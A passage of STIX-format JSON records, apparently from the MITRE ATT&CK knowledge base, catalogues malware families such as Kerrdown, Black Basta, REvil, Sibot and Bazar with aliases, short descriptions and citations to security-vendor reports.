"Micropsia", "description": "[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Micropsia"], "type": "malware", "id": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "created": "2019-01-29T21:47:53.070Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0339", "external_id": "S0339"}, {"source_name": "Micropsia", "description": "(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)"}, {"source_name": "Talos Micropsia June 2017", "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html"}, {"source_name": "Radware Micropsia July 2018", "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", "url": "https://blog.radware.com/security/2018/07/micropsia-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Kerrdown"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", "type": "malware", "created": "2021-03-02T13:38:32.673Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0585", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0585"}, {"source_name": "Amnesty Intl. Ocean Lotus February 2021", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}, {"source_name": "Unit 42 KerrDown February 2019", "url": "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/", "description": "Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus\u2019 new Downloader, KerrDown. Retrieved October 1, 2021."}], "modified": "2021-10-15T21:53:54.011Z", "name": "Kerrdown", "description": "[Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)", "x_mitre_version": "2.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["RARSTONE"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--8c553311-0baa-4146-997a-f79acef3d831", "type": "malware", "created": "2017-05-31T21:32:38.480Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0055", "external_id": "S0055"}, {"url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/", "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.", "source_name": "Aquino RARSTONE"}], "modified": "2020-03-30T17:24:58.616Z", "name": "RARSTONE", "description": "[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["VBShower"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--8caa18af-4758-4fd3-9600-e8af579e89ed", "type": "malware", "created": "2020-05-08T20:43:25.743Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0442", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0442"}, {"source_name": "Kaspersky Cloud Atlas August 2019", "url": "https://securelist.com/recent-cloud-atlas-activity/92016/", "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}], "modified": "2020-05-12T20:56:07.174Z", "name": "VBShower", "description": "[VBShower](https://attack.mitre.org/software/S0442) is a backdoor that has been used by [Inception](https://attack.mitre.org/groups/G0100) since at least 2019. [VBShower](https://attack.mitre.org/software/S0442) has been used as a downloader for second stage payloads, including [PowerShower](https://attack.mitre.org/software/S0441).(Citation: Kaspersky Cloud Atlas August 2019)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-05-01T17:05:56.388Z", "name": "Black Basta", "description": "[Black Basta](https://attack.mitre.org/software/S1070) is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. [Black Basta](https://attack.mitre.org/software/S1070) operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. [Black Basta](https://attack.mitre.org/software/S1070) affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the [Black Basta](https://attack.mitre.org/software/S1070) RaaS operators could include current or former members of the [Conti](https://attack.mitre.org/software/S0575) group.(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Minerva Labs Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Cyble Black Basta May 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Daniyal Naeem, BT Security", "Mathieu Hinse", "Inna Danilevich, U.S. Bank"], "x_mitre_aliases": ["Black Basta"], "type": "malware", "id": "malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53", "created": "2023-03-08T19:14:27.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1070", "external_id": "S1070"}, {"source_name": "Avertium Black Basta June 2022", "description": "Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.", "url": "https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware"}, {"source_name": "Cyble Black Basta May 2022", "description": "Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.", "url": "https://blog.cyble.com/2022/05/06/black-basta-ransomware/"}, {"source_name": "Palo Alto Networks Black Basta August 2022", "description": "Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.", "url": "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"}, {"source_name": "NCC Group Black Basta June 2022", "description": "Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.", "url": "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"}, {"source_name": "Deep Instinct Black Basta August 2022", "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.", "url": "https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}, {"source_name": "Minerva Labs Black Basta May 2022", "description": "Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.", "url": "https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Catchamas"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", "type": "malware", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0261", "external_id": "S0261"}, {"source_name": "Catchamas", "description": "(Citation: Symantec Catchamas April 2018)"}, {"url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99", "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", "source_name": "Symantec Catchamas April 2018"}], "modified": "2021-02-09T14:51:14.620Z", "name": "Catchamas", "description": "[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. 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(2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"}, {"source_name": "FireEye APT33 Sept 2017", "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. 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(Citation: Dell Sakula)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Sakula", "Sakurel", "VIPER"], "type": "malware", "id": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", "created": "2017-05-31T21:32:48.482Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0074", "external_id": "S0074"}, {"source_name": "Dell Sakula", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. 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(Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-27T19:54:34.154Z", "name": "Sibot", "description": "[Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024).(Citation: MSTIC NOBELIUM Mar 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["Sibot"], "type": "malware", "id": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "created": "2021-03-12T18:08:23.552Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0589", "external_id": "S0589"}, {"source_name": "MSTIC NOBELIUM Mar 2021", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-10T20:29:50.729Z", "name": "ZxxZ", "description": "[ZxxZ](https://attack.mitre.org/software/S1013) is a trojan written in Visual C++ that has been used by [BITTER](https://attack.mitre.org/groups/G1002) since at least August 2021, including against Bangladeshi government personnel.(Citation: Cisco Talos Bitter Bangladesh May 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["ZxxZ"], "type": "malware", "id": "malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d", "created": "2022-06-02T12:27:33.899Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1013", "external_id": "S1013"}, {"source_name": "Cisco Talos Bitter Bangladesh May 2022", "description": "Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.", "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-18T15:53:30.609Z", "name": "Tarrask", "description": "[Tarrask](https://attack.mitre.org/software/S1011) is malware that has been used by [HAFNIUM](https://attack.mitre.org/groups/G0125) since at least August 2021. [Tarrask](https://attack.mitre.org/software/S1011) was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.(Citation: Tarrask scheduled task)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Sittikorn Sangrattanapitak"], "x_mitre_aliases": ["Tarrask"], "type": "malware", "id": "malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8", "created": "2022-06-01T17:01:32.151Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1011", "external_id": "S1011"}, {"source_name": "Tarrask scheduled task", "description": "Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.", "url": "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", "type": "malware", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0155", "external_id": "S0155"}, {"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}], "modified": "2018-10-17T00:14:20.652Z", "name": "WINDSHIELD", "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). 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Retrieved August 25, 2020."}], "modified": "2020-09-18T20:55:03.153Z", "name": "Drovorub", "description": "[Drovorub](https://attack.mitre.org/software/S0502) is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by [APT28](https://attack.mitre.org/groups/G0007).(Citation: NSA/FBI Drovorub August 2020)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T00:08:18.570Z", "name": "Shark", "description": "[Shark](https://attack.mitre.org/software/S1019) is a backdoor malware written in C# and .NET that is an updated version of [Milan](https://attack.mitre.org/software/S1015); it has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least July 2021.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["Shark"], "type": "malware", "id": "malware--99854cc8-f202-4e03-aa0a-4f8a4af93229", "created": "2022-06-10T19:45:53.538Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1019", "external_id": "S1019"}, {"source_name": "Accenture Lyceum Targets November 2021", "description": "Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns"}, {"source_name": "ClearSky Siamesekitten August 2021", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022.", "url": "https://www.clearskysec.com/siamesekitten/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-12-04T19:42:13.073Z", "name": "Bazar", "description": "[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.0", "x_mitre_contributors": ["Cybereason Nocturnus, @nocturnus"], "x_mitre_aliases": ["Bazar", "KEGTAP", "Team9", "Bazaloader"], "type": "malware", "id": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "created": "2020-11-18T19:07:48.008Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0534", "external_id": "S0534"}, {"source_name": "Team9", "description": "(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)"}, {"source_name": "KEGTAP", "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: CrowdStrike Wizard Spider October 2020)"}, {"source_name": "Bazaloader", "description": "(Citation: Microsoft Ransomware as a Service)"}, {"source_name": "Cybereason Bazar July 2020", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020.", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles"}, {"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}, {"source_name": "NCC Group Team9 June 2020", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"}, {"source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. 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It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-04T21:03:54.834Z", "name": "SUGARDUMP", "description": "[SUGARDUMP](https://attack.mitre.org/software/S1042) is a proprietary browser credential harvesting tool that was used by UNC3890 during the [C0010](https://attack.mitre.org/campaigns/C0010) campaign. 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Retrieved August 3, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}, {"source_name": "Microsoft Deep Dive Solorigate January 2021", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}, {"source_name": "SolarWinds Sunburst Sunspot Update January 2021", "description": "Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. 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(2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "source_name": "Cyphort EvilBunny Dec 2014"}], "modified": "2021-04-02T00:14:13.954Z", "name": "EvilBunny", "description": "[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)", "x_mitre_version": "1.2", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Wingbird"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", "type": "malware", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0176", "url": "https://attack.mitre.org/software/S0176", "source_name": "mitre-attack"}, {"source_name": "Wingbird", "description": "(Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft Wingbird Nov 2017)"}, {"url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf", "description": "Anthe, C. et al. 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JCry Ransomware. Retrieved June 18, 2019.", "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/", "source_name": "Carbon Black JCry May 2019"}], "modified": "2020-03-30T16:51:27.312Z", "name": "JCry", "description": "[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. 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[REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack", "ics-attack"], "x_mitre_version": "2.2", "x_mitre_contributors": ["Edward Millington"], "x_mitre_aliases": ["REvil", "Sodin", "Sodinokibi"], "type": "malware", "id": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "created": "2020-08-04T15:06:14.796Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0496", "external_id": "S0496"}, {"source_name": "Sodin", "description": "(Citation: Intel 471 REvil March 2020)(Citation: Kaspersky Sodin July 2019)"}, {"source_name": "Sodinokibi", "description": "(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)"}, {"source_name": "Talos Sodinokibi April 2019", "description": "Cadieux, P, et al (2019, April 30). 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Retrieved August 5, 2020.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/"}, {"source_name": "Secureworks GandCrab and REvil September 2019", "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.", "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection"}, {"source_name": "Tetra Defense Sodinokibi March 2020", "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. 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[Samurai](https://attack.mitre.org/software/S1099) allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.(Citation: Kaspersky ToddyCat June 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_aliases": ["Samurai"], "type": "malware", "id": "malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0", "created": "2024-01-04T20:01:26.144Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S1099", "external_id": "S1099"}, {"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["PinchDuke"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", "type": "malware", "created": "2017-05-31T21:32:35.780Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0048", "external_id": "S0048"}, {"url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", "description": "F-Secure Labs. (2015, September 17). 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[Milan](https://attack.mitre.org/software/S1015) has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2020.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["Milan", "James"], "type": "malware", "id": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "created": "2022-06-06T18:34:37.625Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, 